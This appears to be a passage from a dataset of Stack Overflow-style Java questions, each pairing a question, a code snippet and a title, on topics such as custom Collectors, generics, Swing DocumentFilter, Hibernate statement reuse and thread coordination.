public Long getGroupId ( ) { return groupId ; } public void setGroupId ( Long groupId ) { this.groupId = groupId ; } @ Override public boolean equals ( Object o ) { if ( this == o ) return true ; if ( o == null || getClass ( ) ! = o.getClass ( ) ) return false ; Info info = ( Info ) o ; return Objects.equals ( id , info.id ) & & Objects.equals ( date , info.date ) & & Objects.equals ( groupId , info.groupId ) ; } @ Override public int hashCode ( ) { return Objects.hash ( id , date , groupId ) ; } @ Override public String toString ( ) { final StringBuilder sb = new StringBuilder ( `` Info { `` ) ; sb.append ( `` id= '' ) .append ( id ) ; sb.append ( `` , date= '' ) .append ( date ) ; sb.append ( `` , groupId= '' ) .append ( groupId ) ; sb.append ( ' } ' ) ; return sb.toString ( ) ; } }",How to use two filters in stream for different transformations +Java,"I have written a custom Collector for Java 8 . Its aggregator is a Map containing a pair of lists : so I think its combiner is this : I would like to test the Collector to make sure that if and when it processes a stream in parallel , the result is correct.How can I write a unit test that exercises this ? Of course I can write a test that calls the combiner directly , but that 's not what I want . I want evidence it works in the context of collecting.The Javadoc for Collector says : To ensure that sequential and parallel executions produce equivalent results , the collector functions must satisfy an identity and an associativity constraints.Could I achieve confidence in my Collector by testing these constraints ? How ?","@ Override public Supplier < Map < Boolean , List < Object > > > supplier ( ) { return ( ) - > { Map < Boolean , List < Object > > map = new HashMap < > ( 2 ) ; map.put ( false , new ArrayList < > ( ) ) ; map.put ( true , new ArrayList < > ( ) ) ; return map ; } ; } @ Override public BinaryOperator < Map < Boolean , List < Object > > > combiner ( ) { return ( a , b ) - > { a.get ( false ) .addAll ( b.get ( false ) ) ; a.get ( true ) .addAll ( b.get ( true ) ) ; return a ; } ; }",How to test the identity and an associativity constraints of a java-8 custom Collector +Java,"I have a app containing a WebView . When < ! DOCTYPE html > is not defined in a HTML page , it produces unexpected errors as snippets which I run are only compatible with HTML5 . So instead of writing < ! DOCTYPE html > everytime , can I simply set default quirk ( quirk is a default HTML declaration which will be used if HTML version of a page is not specified ) . So if page 's HTML declaration is not specified , it will automatically render in HTML5.Any ideas on how to do this ? Major browsers use this technique ( Including Chrome for Android ) .EDITI have 500+ snippets like this using directly embedded SVG etc -These snippets do n't run well on other versions of HTML . I do n't actually have any problem in writing < ! DOCTYPE html > on every page but I am worried about my clients who can see , edit and modify my snippets or even create a new snippet.I gave my app to my friends for testing and many of them complained the snippets that they created do n't run properly and I think same sort of thing can happen with my clients as well.Please help","< svg width= '' 300 '' height= '' 200 '' > < polygon points= '' 100,10 40,198 190,78 10,78 160,198 '' style= '' fill : lime ; stroke : purple ; stroke-width:5 ; fill-rule : evenodd ; '' / > < /svg >",Set quirk for WebView +Java,"I 'm currently working on a bigger Java desktop-application and now are at the point where I want to add translations . What bothers me about the l18n-system is , that it does n't provide any kind of compiletime checking.In java 's system , you have something like a HashMap , where every localized string has a `` Key '' and the translated string then is the `` Value '' . This looks something like this ( taken from the tutorials example ) : This works nice if you have a simple/small application . But in a big application with thousands of translated strings , it might so happen that you have a typo in the `` Key '' and therefore get an empty or wrong string.With a little luck , the application throws a RuntimeException to tell you about it , but even then it is possible that you do n't even come to this point because the wrong `` Key '' is used in a dialog that might not show up under certain circumstances ( say it 's an error dialog ) .To prevent this from happening , using a system which offers compiletime checking of the used `` Keys '' would be the better idea . This is for example used in Android , where you specify the Resources in an XML-file which is then indexed and mapped to a class ( including the `` Keys '' to use ) . This way , you get something like this ( from the Android Docs ) : If you have a typo in that `` key '' , you 'll get an error at compile-time ( also you have `` auto-completion '' from your IDE ) .Now , to make something like this work , you 'll need a little tool/script that does the indexing part and generates the Resource-class ( R.java ) . In Android , the Eclipse-plugin ( or your IDE in general ) does that for you.My question now is : Is there already a system that that I can use for normal desktop-applications in Java ? Or am I horribly wrong with what I 'm saying ?","Locale currentLocale ; ResourceBundle messages ; currentLocale = new Locale ( language , country ) ; messages = ResourceBundle.getBundle ( `` MessagesBundle '' , currentLocale ) ; System.out.println ( messages.getString ( `` greetings '' ) ) ; // Set the text on a TextView object using a resource IDTextView msgTextView = ( TextView ) findViewById ( R.id.msg ) ; msgTextView.setText ( R.string.hello_message ) ;",l18n framework with compiletime checking +Java,"I just read the article Programming by Coincidence . At the end of the page there are excercises . A few code fragments that are cases of `` programming by coincidence '' . But I cant figure out the error in this piece : This code comes from a general-purpose Java tracing suite . The function writes a string to a log file . It passes its unit test , but fails when one of the Web developers uses it . What coincidence does it rely on ? What is wrong about this ?","public static void debug ( String s ) throws IOException { FileWriter fw = new FileWriter ( `` debug.log '' , true ) ; fw.write ( s ) ; fw.flush ( ) ; fw.close ( ) ; }",'Programming by Coincidence ' Excercise : Java File Writer +Java,"I am a having problem with appending a text to a JTextArea after Using a DocumentFilter , I need to append a string on the JTextArea after the text has been uploaded from a file and also return a string from a JTextArea of another JFrame to the specified JTextAreaEverything worked perfectly when I did n't use the DocumentFilter.FilterBypass until when I added it . It still works a little but only when comma ( , ) or space ( `` `` ) is n't added . Which is not to the specification I was given.How can I solve this ? Or is there any algorithm or implementation that does n't give this problem ? This is the insertString code to filter the length , and only allow space and commaThe other two functions ( append from file & append from a different frame ) I want to implement innocently by just appending their string values to the JTextArea that is filtered using this . But is being refused by super.insertString ( ... .. )","public void insertString ( FilterBypass fb , int offset , String string , AttributeSet attr ) throws BadLocationException { // if ( string == null || string.trim ( ) .equals ( `` '' ) || string.equals ( `` , '' ) ) // { // return ; // } if ( isNumeric ( string ) ) { // if ( this.length > 0 & & fb.getDocument ( ) .getLength ( ) + // string.length ( ) // > this.length ) { // return ; // } if ( fb.getDocument ( ) .getLength ( ) + string.length ( ) > this.length || string.trim ( ) .equals ( `` '' ) || string.equals ( `` , '' ) ) { this.insertString ( fb , offset , string , attr ) ; } // if ( string == null || string.trim ( ) .equals ( `` '' ) || // string.equals ( `` , '' ) ) { // return ; // } super.insertString ( fb , offset , string , attr ) ; } else if ( string == null || string.trim ( ) .equals ( `` '' ) || string.equals ( `` , '' ) ) { super.insertString ( fb , offset , string , attr ) ; } } @ Overridepublic void replace ( FilterBypass fb , int offset , int length , String text , AttributeSet attrs ) throws BadLocationException { if ( isNumeric ( text ) ) { if ( this.length > 0 & & fb.getDocument ( ) .getLength ( ) + text.length ( ) > this.length ) { return ; } super.insertString ( fb , offset , text , attrs ) ; } } /** * This method tests whether given text can be represented as number . This * method can be enhanced further for specific needs . * * @ param text * Input text . * @ return { @ code true } if given string can be converted to number ; * otherwise returns { @ code false } . */private boolean isNumeric ( String text ) { if ( text == null || text.trim ( ) .equals ( `` '' ) || text.equals ( `` , '' ) ) { return true ; } for ( int iCount = 0 ; iCount < text.length ( ) ; iCount++ ) { if ( ! Character.isDigit ( text.charAt ( iCount ) ) ) { return false ; } } return true ; }",Appending a text to a JTextArea after Using a DocumentFilter +Java,"I do n't really know how to describe my issue , so I 'll just show a code example : I 'm looking up Integer values in a 3d-array . For each field I have to use one of these : a counter running from zero to na counter running from n to zeroa fixed valueSo i 've tried to build a Method that would save me from writing this for loop about 20 times , but i failed , so that 's where i need help . My idea was something like this : where `` Loop '' would be an enum representing one of my possibilities , but I do n't know how to implement it or if this is even possible in Java without hardcoding every possible combination.Hope you can help : ) OK , more specific ... with my setup i 'm drawing a vector through this 3d-array , a diagonal to be specific and i want to know what values are on this vector and only on this vector.And because there is more than one possibility to draw such a vector , i 'd like to have a more general method to get to the values . My search could just be as simple aswhich would be a simple for-loop with one counter , but also","int [ ] [ ] [ ] mat ; int n ; int specificValue ; for ( int i = 0 ; i < n ; i++ ) { if ( mat [ i ] [ n-i ] [ 3 ] ! = specificValue ) { doStuff ( ) ; } } search ( Loop.UP , Loop.DOWN , Loop.FIXED ) ; search ( Loop.UP , Loop.FIXED , Loop.FIXED ) ; // one plane search ( Loop.DOWN , Loop.UP , Loop.UP ) ; // through all three planes",Generalizing a for-loop in Java +Java,"I have a List of Accounts and I am trying to use Comparator.comparing to sort them . However , since the balance is string not double , it is sorting incorrectly . Is there a way to sort the balance field in String value as double using Comparator.comparing ( ) ? It appears to me I have to change the balance type to double to make it work but I am trying not to change do that to keep consistent with other fields all in string type . }","List < Account > accountList = getAccountList ( id ) ; Comparator < Account > accountComparator = Comparator.comparing ( Account : :getBalance ) ; if ( sortDirect.equalsIgnoreCase ( `` desc '' ) ) { accountList.sort ( accountComparator.reversed ( ) ) ; } else { accountList.sort ( accountComparator ) ; } Balance DESC order sorted incorrectly . `` accountList '' : { `` accounts '' : [ { `` accountNumber '' : `` A '' , `` balance '' : `` 39261.2 '' , `` payment '' : `` 111.42 '' } , { `` accountNumber '' : `` B '' , `` balance '' : `` 251194.28 '' , `` payment '' : `` 128.79 '' ... ]",How to use Comparator.comparing ( ) to compare string as double ? +Java,"I am new to multi-threading and While I am reading about multi threading , thought of writing this fancy multi-threading code to do the following.My counter class is as follows.This Counter object is shared between two threads.Once threads are started , I need to do the following.I want Thread2 to wait until the Thread1 increments the count of the Counter object by 1 . Once this is done , Then Thread 1 informs thread2 and then Thread1 starts waiting for thread2 to decrement value by 1.Then thread2 starts and decrements value by 1 and informs thread1 again and then thread2 start waiting for thread1 . Repeat this process for few times.How can I achieve this . Many thanks in advance.I have done the following .",class Counter { private int c = 0 ; public void increment ( ) { System.out.println ( `` increment value : `` +c ) ; c++ ; } public void decrement ( ) { c -- ; System.out.println ( `` decrement value : `` +c ) ; } public int value ( ) { return c ; } } public class ConcurrencyExample { private static Counter counter ; private static DecrementCount t1 ; private static IncrementCount t2 ; public static void main ( String [ ] args ) { Counter counter = new Counter ( ) ; Thread t1 = new Thread ( new IncrementCount ( counter ) ) ; t1.start ( ) ; Thread t2 = new Thread ( new DecrementCount ( counter ) ) ; t2.start ( ) ; } } public class DecrementCount implements Runnable { private static Counter counter ; public DecrementCount ( Counter counter ) { this.counter = counter ; } @ Override public void run ( ) { for ( int i = 0 ; i < 1000 ; i++ ) { counter.decrement ( ) ; System.out.println ( `` decreamented '' ) ; } } } public class IncrementCount implements Runnable { private static Counter counter ; public IncrementCount ( Counter counter ) { this.counter = counter ; } @ Override public void run ( ) { for ( int i = 0 ; i < 1000 ; i++ ) { counter.increment ( ) ; System.out.println ( `` Incremented '' ) ; } } },How to wait from thread1 until notified by thread2 +Java,"I have the following piece of code , that uses java Functional Interfaces , that compiles , but it 's not clear why does it compile : So , my confusion is inside of the main method : the last line of the main method is updateManager.doUpdateForEach ( it , DatabaseOperator : :updateInfo ) ; the UpdateManager # doUpdateForEach method expects a RecordIterator ( ok , makes sense ) , and a FunctionalStuffFunctionalStuff has a single method ( obviously ) , that receives 2 paramsThe second argument of the doUpdateForEach is a method reference ( DatabaseOperator : :updateInfo ) The DatabaseOperator : :updateInfo method receives a single argumenthow does this compiles ? How is the DatabaseOperator : :updateInfo method reference converted into the functional interface ? Am I missing something obvious ? Or is some corner case of functional interfaces ?","public class App { public static void main ( String [ ] args ) throws Exception { final RecordIterator it = new RecordIterator < MyRecord > ( ) ; final UpdateManager updateManager = new UpdateManager ( ) ; updateManager.doUpdateForEach ( it , DatabaseOperator : :updateInfo ) ; } } class UpdateManager { public void doUpdateForEach ( final RecordIterator recordIterator , final FunctionalStuff < MyRecord > updateAction ) throws Exception { updateAction.execute ( new DatabaseOperator ( ) , new MyRecord ( ) ) ; } } class RecordIterator < E > { } @ FunctionalInterfaceinterface FunctionalStuff < T > { void execute ( final DatabaseOperator database , final T iterator ) throws Exception ; } class DatabaseOperator { public void updateInfo ( final MyRecord r ) { } } class MyRecord { }",Unexpected Java Functional Interface conversion +Java,"I am trying to test some code inside lambda expression which is a call back from another class.The lambda expression in the method getBodyContent is called from EmailBuilder which is a mocked dependency in the JUnit test for EmailSender . Since I am mocking the behavior of EmailBuilder , the code inside getBodyContentis not called from tests . How to test such piece ? EDIT : Capturing the lambda expression through Argument Captors is not a solution in this case as the behavior of EmailBuilder is mocked and the actual methods are not called . Secondly , email.appendBody does some transformations on an object which is passed by an external API and not straightforward to create .","class EmailSender { private EmailBuilder emailBuilder ; public void send ( ) { String testEmail = emailBuilder.buildEmail ( `` Test Email '' , bodyContentAppender ( ) ) ; //send testEmail } private Consumer < Email > bodyContentAppender ( ) { //how to test this through JUnit ? return email - > email.appendBody ( `` Body Content '' ) ; } } interface EmailBuilder { String buildEmail ( String templateName , Consumer < Email > contentAppender ) ; }",Test lambda expressions called by dependencies +Java,"I want to let users enter the vehicle number and then read the data and show the vehicle details to the user . I do n't want to do it in a webview . I am able to fill the data using this code : Here is the website which shows the data for this app.https : //parivahan.gov.in/rcdlstatus/vahan/rcstatus.xhtmlNow I am trying to click the submit button using this line and this , but they are not working . How to click the button whose Id is convVeh_Form : j_idt21Also , once able to click the button , the response will come from the website . How to read that response text and put it in textview of app . ?","webView = ( WebView ) findViewById ( R.id.webView1 ) ; webView.getSettings ( ) .setJavaScriptEnabled ( true ) ; webView.loadUrl ( `` https : //parivahan.gov.in/rcdlstatus/vahan/rcstatus.xhtml '' ) ; webView.setWebViewClient ( new WebViewClient ( ) { public void onPageFinished ( WebView view , String url ) { String reg1= '' KA51X '' ; String reg2= '' 2442 '' ; if ( isFirstLoad ) { webView.loadUrl ( `` javascript : { `` + `` document.getElementById ( 'convVeh_Form : tf_reg_no1 ' ) .value = ' '' + reg1 + `` ' ; '' + `` document.getElementById ( 'convVeh_Form : tf_reg_no2 ' ) .value = ' '' + reg2 + `` ' ; '' + `` var frms = document.getElementsByName ( 'convVeh_Form ' ) ; '' + `` frms [ 0 ] .submit ( ) ; } ; '' ) ; isFirstLoad = false ; } } } ) ; `` frms [ 0 ] .submit ( ) ; } ; '' ) ; `` javascript : ( function ( ) { document.getElementById ( 'convVeh_Form : j_idt21 ' ) .click ( ) ; } ) ( ) ''",Fill website data and click button and parse response +Java,"i am trying some math-operations with java , that does test a number if its ( un ) even and alter it as long as it gets to 1 . I try to run my loop for 999999times , it seems to get stuck at around ~120000times . Well , it is not stopping with an Exception , it just feels like the compiler got stuck . I 'm not that good with Java , can someone explain me what is happening here ?",public static void main ( String [ ] args ) { int n = 0 ; int highestNumber = 0 ; int highestCounter = 0 ; int counter = 0 ; for ( int i = 2 ; i < 1000000 ; i++ ) { if ( i % 10000==0 ) { System.out.println ( i ) ; } n = i ; while ( n ! =1 ) { if ( n % 2==0 ) { n = n/2 ; } else { n=3*n+1 ; } counter++ ; } if ( counter > highestCounter ) { highestCounter = counter ; highestNumber = i ; System.out.println ( `` HIGHEST `` +highestNumber+ '' | counter = `` +counter ) ; } counter = 0 ; n = 0 ; } System.out.println ( `` final `` +highestNumber ) ; },why does the loop die ? ( Collatz conjecture ) +Java,"Here is my codeIt 's very strange , rq.remove ( ) will be blocked forever . Why my finalizable object 's phantom reference can not be put into reference queue ? Has it been GC collected ?","public class FinalizableObject { @ Override protected void finalize ( ) throws Throwable { System.out.println ( `` finalize ( ) invoked for `` + this ) ; super.finalize ( ) ; } } public class Main { private static void test ( ) throws InterruptedException { ReferenceQueue < FinalizableObject > rq = new ReferenceQueue < FinalizableObject > ( ) ; FinalizableObject obj = new FinalizableObject ( ) ; PhantomReference < FinalizableObject > pr1 = new PhantomReference < FinalizableObject > ( obj , rq ) ; obj = null ; System.gc ( ) ; Reference < ? extends Object > ref = rq.remove ( ) ; System.out.print ( `` remove `` + ref + `` from reference queue\n '' ) ; } public static void main ( String [ ] args ) { try { test ( ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } }",Why can I not get the PhantomReference from the ReferenceQueue for a finalizable object ? +Java,"I 'm trying to decide what to do every time I get a Java heap pollution warning when using parameterized varargs such as in It seems to me that if I am confident not to be using some weird casts in my methods , I should just use @ SafeVarargs and move on . But is this correct , or do I need to be more careful ? Is there apparently correct code that is actually not safe when using parameterized varargs ? Reading about the subject , I notice that the provided examples are quite artificial . For example , the Java documentation shows the following faulty method : which is didactic but pretty unrealistic ; experienced programmers are not likely to write code doing stuff like this . Another example iswhich is again pretty obviously mixing types in an unrealistic way.So , are there more subtle cases in which heap pollution happens under parameterized varargs ? Am I justified in using @ SafeVarargs if I am not casting variables in a way that loses typing information , or mixes types incorrectly ? In other words , am I justified in treating this warning as a not very important formality ?","public static < T > LinkedList < T > list ( T ... elements ) { ... } public static void faultyMethod ( List < String > ... l ) { Object [ ] objectArray = l ; // Valid objectArray [ 0 ] = Arrays.asList ( 42 ) ; String s = l [ 0 ] .get ( 0 ) ; // ClassCastException thrown here } Pair < String , String > [ ] method ( Pair < String , String > ... lists ) { Object [ ] objs = lists ; objs [ 0 ] = new Pair < String , String > ( `` x '' , `` y '' ) ; objs [ 1 ] = new Pair < Long , Long > ( 0L , 0L ) ; // corruption ! ! ! return lists ; }",What is an apparently correct example of Java code causing heap pollution ? +Java,"Sorry if the title seems confusing , but some examples are in order.Let 's say I have some Java class with a generic type parameter : I can create a variable typed to store an object , with the generic parameter set to , say a String . Java will also let me assign that variable to another variable but with the generic parameter set to the wildcard < ? > type : However , when working with a class with a generic parameter , if you set the type of that parameter to be generic , you ca n't then assign an object of that class to an identically typed/genericized type where the latter ( inner/nested ) parameter is of the wildcard type < ? > : The specific compile error is : Intuitively I would think that the assignment in question should not be a problem . So why is this assignment an problem ?","public class GenericClass < T > { } GenericClass < String > stringy = ... GenericClass < ? > generic = stringy ; // OK GenericClass < GenericClass < String > > stringy = ... GenericClass < GenericClass < ? > > generic = stringy ; // Compile Error// And just in case that is confusing , a more// realistic example involving Collections : List < GenericClass < String > > stringy = ... List < GenericClass < ? > > generic = stringy ; // Compile Error Type mismatch : can not convert from List < GenericClass < String > > to List < GenericClass < ? > >",Why ca n't a Generic type containing a Generic type be assigned to a Generic typed class of wildcard type +Java,"In Eclipse , is there any way to find which return statement a method returned from without logging flags at every return statment ? For example : In this case , how do I find out at which point my equals method returned ?",@ Override public boolean equals ( Object obj ) { if ( this == obj ) { return true ; } if ( obj == null ) { return false ; } if ( ! ( obj instanceof ABC ) ) { return false ; } ABC other = ( ABC ) obj ; if ( var1 == null ) { if ( other.var1 ! = null ) { return false ; } } else if ( ! var1.equals ( other.var1 ) ) { return false ; } return true ; },Point of exit from a method in Java +Java,"I 'm building a classifier which has to read through a lot of textdocuments , but I found out that my countWordFrequenties method gets slower the more documents it has processed . This method underneath takes 60ms ( on my PC ) , while reading , normalizing , tokenizing , updating my vocabulary and equalizing of different lists of integers only takes 3-5ms in total ( on my PC ) . My countWordFrequencies method is as follows : What is the best way for me to speed this process up ? What is the problem of this method ? This is my entire Class , there is another Class Category , is it a good idea to post this also here or do n't you guys need it ?","public List < Integer > countWordFrequencies ( String [ ] tokens ) { List < Integer > wordFreqs = new ArrayList < > ( vocabulary.size ( ) ) ; int counter = 0 ; for ( int i = 0 ; i < vocabulary.size ( ) ; i++ ) { for ( int j = 0 ; j < tokens.length ; j++ ) if ( tokens [ j ] .equals ( vocabulary.get ( i ) ) ) counter++ ; wordFreqs.add ( i , counter ) ; counter = 0 ; } return wordFreqs ; } public class BayesianClassifier { private Map < String , Integer > vocabularyWordFrequencies ; private List < String > vocabulary ; private List < Category > categories ; private List < Integer > wordFrequencies ; private int trainTextAmount ; private int testTextAmount ; private GUI gui ; public BayesianClassifier ( ) { this.vocabulary = new ArrayList < > ( ) ; this.categories = new ArrayList < > ( ) ; this.wordFrequencies = new ArrayList < > ( ) ; this.trainTextAmount = 0 ; this.gui = new GUI ( this ) ; this.testTextAmount = 0 ; } public List < Category > getCategories ( ) { return categories ; } public List < String > getVocabulary ( ) { return this.vocabulary ; } public List < Integer > getWordFrequencies ( ) { return wordFrequencies ; } public int getTextAmount ( ) { return testTextAmount + trainTextAmount ; } public void updateWordFrequency ( int index , Integer frequency ) { equalizeIntList ( wordFrequencies ) ; this.wordFrequencies.set ( index , wordFrequencies.get ( index ) + frequency ) ; } public String readText ( String path ) { BufferedReader br ; String result = `` '' ; try { br = new BufferedReader ( new FileReader ( path ) ) ; StringBuilder sb = new StringBuilder ( ) ; String line = br.readLine ( ) ; while ( line ! = null ) { sb.append ( line ) ; sb.append ( `` \n '' ) ; line = br.readLine ( ) ; } result = sb.toString ( ) ; br.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } return result ; } public String normalizeText ( String text ) { String fstNormalized = Normalizer.normalize ( text , Normalizer.Form.NFD ) ; fstNormalized = fstNormalized.replaceAll ( `` [ ^\\p { ASCII } ] '' , '' '' ) ; fstNormalized = fstNormalized.toLowerCase ( ) ; fstNormalized = fstNormalized.replace ( `` \n '' , '' '' ) ; fstNormalized = fstNormalized.replaceAll ( `` [ 0-9 ] '' , '' '' ) ; fstNormalized = fstNormalized.replaceAll ( `` [ / ( ) ! ? ; : ,. % - ] '' , '' '' ) ; fstNormalized = fstNormalized.trim ( ) .replaceAll ( `` + '' , `` `` ) ; return fstNormalized ; } public String [ ] handleText ( String path ) { String text = readText ( path ) ; String normalizedText = normalizeText ( text ) ; return tokenizeText ( normalizedText ) ; } public void createCategory ( String name , BayesianClassifier bc ) { Category newCategory = new Category ( name , bc ) ; categories.add ( newCategory ) ; } public List < String > updateVocabulary ( String [ ] tokens ) { for ( int i = 0 ; i < tokens.length ; i++ ) if ( ! vocabulary.contains ( tokens [ i ] ) ) vocabulary.add ( tokens [ i ] ) ; return vocabulary ; } public List < Integer > countWordFrequencies ( String [ ] tokens ) { List < Integer > wordFreqs = new ArrayList < > ( vocabulary.size ( ) ) ; int counter = 0 ; for ( int i = 0 ; i < vocabulary.size ( ) ; i++ ) { for ( int j = 0 ; j < tokens.length ; j++ ) if ( tokens [ j ] .equals ( vocabulary.get ( i ) ) ) counter++ ; wordFreqs.add ( i , counter ) ; counter = 0 ; } return wordFreqs ; } public String [ ] tokenizeText ( String normalizedText ) { return normalizedText.split ( `` `` ) ; } public void handleTrainDirectory ( String folderPath , Category category ) { File folder = new File ( folderPath ) ; File [ ] listOfFiles = folder.listFiles ( ) ; if ( listOfFiles ! = null ) { for ( File file : listOfFiles ) { if ( file.isFile ( ) ) { handleTrainText ( file.getPath ( ) , category ) ; } } } else { System.out.println ( `` There are no files in the given folder '' + `` `` + folderPath.toString ( ) ) ; } } public void handleTrainText ( String path , Category category ) { long startTime = System.currentTimeMillis ( ) ; trainTextAmount++ ; String [ ] text = handleText ( path ) ; updateVocabulary ( text ) ; equalizeAllLists ( ) ; List < Integer > wordFrequencies = countWordFrequencies ( text ) ; long finishTime = System.currentTimeMillis ( ) ; System.out.println ( `` That took 1 : `` + ( finishTime-startTime ) + `` ms '' ) ; long startTime2 = System.currentTimeMillis ( ) ; category.update ( wordFrequencies ) ; updatePriors ( ) ; long finishTime2 = System.currentTimeMillis ( ) ; System.out.println ( `` That took 2 : `` + ( finishTime2-startTime2 ) + `` ms '' ) ; } public void handleTestText ( String path ) { testTextAmount++ ; String [ ] text = handleText ( path ) ; List < Integer > wordFrequencies = countWordFrequencies ( text ) ; Category category = guessCategory ( wordFrequencies ) ; boolean correct = gui.askFeedback ( path , category ) ; if ( correct ) { category.update ( wordFrequencies ) ; updatePriors ( ) ; System.out.println ( `` Kijk eens aan ! De tekst is succesvol verwerkt . `` ) ; } else { Category correctCategory = gui.askCategory ( ) ; correctCategory.update ( wordFrequencies ) ; updatePriors ( ) ; System.out.println ( `` Kijk eens aan ! De tekst is succesvol verwerkt . `` ) ; } } public void updatePriors ( ) { for ( Category category : categories ) { category.updatePrior ( ) ; } } public Category guessCategory ( List < Integer > wordFrequencies ) { List < Double > chances = new ArrayList < > ( ) ; for ( int i = 0 ; i < categories.size ( ) ; i++ ) { double chance = categories.get ( i ) .getPrior ( ) ; System.out.println ( `` The prior is : '' + chance ) ; for ( int j = 0 ; j < wordFrequencies.size ( ) ; j++ ) { chance = chance * categories.get ( i ) .getWordProbabilities ( ) .get ( j ) ; } chances.add ( chance ) ; } double max = getMaxValue ( chances ) ; int index = chances.indexOf ( max ) ; System.out.println ( max ) ; System.out.println ( index ) ; return categories.get ( index ) ; } public double getMaxValue ( List < Double > values ) { Double max = 0.0 ; for ( Double dubbel : values ) { if ( dubbel > max ) { max = dubbel ; } } return max ; } public void equalizeAllLists ( ) { for ( Category category : categories ) { if ( category.getWordFrequencies ( ) .size ( ) < vocabulary.size ( ) ) { category.setWordFrequencies ( equalizeIntList ( category.getWordFrequencies ( ) ) ) ; } } for ( Category category : categories ) { if ( category.getWordProbabilities ( ) .size ( ) < vocabulary.size ( ) ) { category.setWordProbabilities ( equalizeDoubleList ( category.getWordProbabilities ( ) ) ) ; } } } public List < Integer > equalizeIntList ( List < Integer > list ) { while ( list.size ( ) < vocabulary.size ( ) ) { list.add ( 0 ) ; } return list ; } public List < Double > equalizeDoubleList ( List < Double > list ) { while ( list.size ( ) < vocabulary.size ( ) ) { list.add ( 0.0 ) ; } return list ; } public void selectFeatures ( ) { for ( int i = 0 ; i < wordFrequencies.size ( ) ; i++ ) { if ( wordFrequencies.get ( i ) < 2 ) { vocabulary.remove ( i ) ; wordFrequencies.remove ( i ) ; for ( Category category : categories ) { category.removeFrequency ( i ) ; } } } } }",How can I improve the efficiency and/or performance of my relatively simple Java counting method ? +Java,"Possible Duplicate : Why are n't Java Collections remove methods generic ? I noticed that few of the LinkedList operations take Generic parameter type E , while a few take 'Object ' as the parameter . For ex , Is there a specific reason to do that ? Why not make 'remove ' take a generic type E. ( I know it does n't matter after type erasure , but just wondering ) .",add ( E e ) remove ( Object o ),Java Collection LinkedList Function Argument Types +Java,We 're using @ JacksonAnnotationsInside and would like to inject a property from the classes using the meta annotation.i.e . we have a meta annotation with @ JsonTypeInfo ( ) and would like to inject the defaultImpl via the aggregating annotation.Here is the annotation I 'm trying to use :,"@ Inherited @ JacksonAnnotationsInside @ Retention ( RetentionPolicy.RUNTIME ) @ JsonTypeInfo ( use=JsonTypeInfo.Id.CLASS , include=JsonTypeInfo.As.PROPERTY , property= '' @ class '' ) // , defaultImpl=defaultType ( ) ) public @ interface PolymorphismSupport { // @ AliasFor ( `` defaultImpl '' ) ... Class < ? > defaultType ( ) default Object.class ; }","Is there a way to inject Jackson annotation values from a meta annotation , similar to Spring 's AliasFor annotation ?" +Java,"I 've been reading Java Puzzlers by Bloch and Gafter and got to the puzzle 10 ( Tweedledee ) . The essence of this puzzle is to provide declarations for the variables x and i such that this is a legal statement : but this is not : The solution to this looks , according to the book , like this : The book claims that in the += operator the right-hand expression can be of any type only if the left-hand expression has type String . However , I tried to run this code , and it compiled and ran without any problems.Then I dug into the Java Language Specification . Section 15.26.2 talks about two cases : when the left-hand expression is an array access expression and when it 's not . If the left-hand operand expression is not an array access expression , then JLS does n't say anything about the left-hand expression being a String . When it is , this part appllies : If T is a reference type , then it must be String . Because class String is a final class , S must also be String . Therefore the run-time check that is sometimes required for the simple assignment operator is never required for a compound assignment operator . ❖ The saved value of the array component and the value of the right-hand operand are used to perform the binary operation ( string concatenation ) indicated by the compound assignment operator ( which is necessarily += ) . If this operation completes abruptly , then the assignment expression completes abruptly for the same reason and no assignment occurs.T here is the type of the left-hand operand as determined at compile-time , and S is the selected array component . So I thought that I would modify my code into this : But even this code compiles and runs without any problems even though new Object ( ) is not even remotely a String.Why is this happening ? Does this mean that Java compiler deviates from the JLS ? And is it still possible to somehow solve the original puzzle ?",x = x + i ; x += i ; Object x = `` Buy `` ; String i = `` Effective Java ! `` ; Object [ ] x = { new Object ( ) } ; String i = `` Effective Java ! `` ; x [ 0 ] += i ;,How do I make E1 += E2 illegal while E1 = E1 + E2 is legal ? +Java,"I am in the process of optimizing an algorithm , and I noticed that Hibernate creates and releases update statements repetitively instead of reusing them . These are all from the same query.The algorithm 's main method has a @ Scope and a @ Transactional annotation . The expected behavior is that , if anything goes wrong , the algorithm 's updates are ROLLBACK . Beneath , the algorithm uses a @ Service which has a different @ Scope and is also @ Transactional . The service is the one using Hibernate to update the database , with session.update ( entity ) . The documentation says that , by default , nested transactions reuse the transaction if it exists . Is that affirmation above correct ? Can the scope change create problems ? How can I have Hibernate reuse the statement during the transaction ? Thanks for your attention","15:57:31,589 TRACE [ .JdbcCoordinatorImpl ] :371 - Registering statement [ sql : 'update ... 15:57:31,591 TRACE [ .JdbcCoordinatorImpl ] :412 - Releasing statement [ sql : 'update ... 15:57:31,592 TRACE [ .JdbcCoordinatorImpl ] :525 - Closing prepared statement [ sql : 'update ... 15:57:31,592 TRACE [ .JdbcCoordinatorImpl ] :278 - Starting after statement execution processing [ ON_CLOSE ] 15:57:31,594 TRACE [ .JdbcCoordinatorImpl ] :371 - Registering statement [ sql : 'update ... 15:57:31,595 TRACE [ .JdbcCoordinatorImpl ] :412 - Releasing statement [ sql : 'update ... 15:57:31,596 TRACE [ .JdbcCoordinatorImpl ] :525 - Closing prepared statement [ sql : 'update ... 15:57:31,596 TRACE [ .JdbcCoordinatorImpl ] :278 - Starting after statement execution processing [ ON_CLOSE ] 15:57:31,597 TRACE [ .JdbcCoordinatorImpl ] :371 - Registering statement [ sql : 'update ... 15:57:31,599 TRACE [ .JdbcCoordinatorImpl ] :412 - Releasing statement [ sql : 'update ... 15:57:31,600 TRACE [ .JdbcCoordinatorImpl ] :525 - Closing prepared statement [ sql : 'update ... 15:57:31,601 TRACE [ .JdbcCoordinatorImpl ] :278 - Starting after statement execution processing [ ON_CLOSE ]","Spring Hibernate , avoid statements registering and closing repeatively" +Java,This is my code : My output is : But I 'm expecting this : Could someone explain me why I 'm getting `` 20 '' as output for both println calls ?,public static void main ( String [ ] arg ) { String x = null ; String y = `` 10 '' ; String z = `` 20 '' ; System.out.println ( `` This my first out put `` +x==null ? y : z ) ; x = `` 15 '' ; System.out.println ( `` This my second out put `` +x==null ? y : z ) ; } 2020 This my first out put 10This my second out put 20,println does not print the expected value +Java,"I have found a problem where a shared library that is called with JNA under jetty gets stuck when printing to stderr.I have simplified the problem to make it easy to reproduce by first creating a very simple C shared library which does nothing more than call fprintf ( stderr , '' 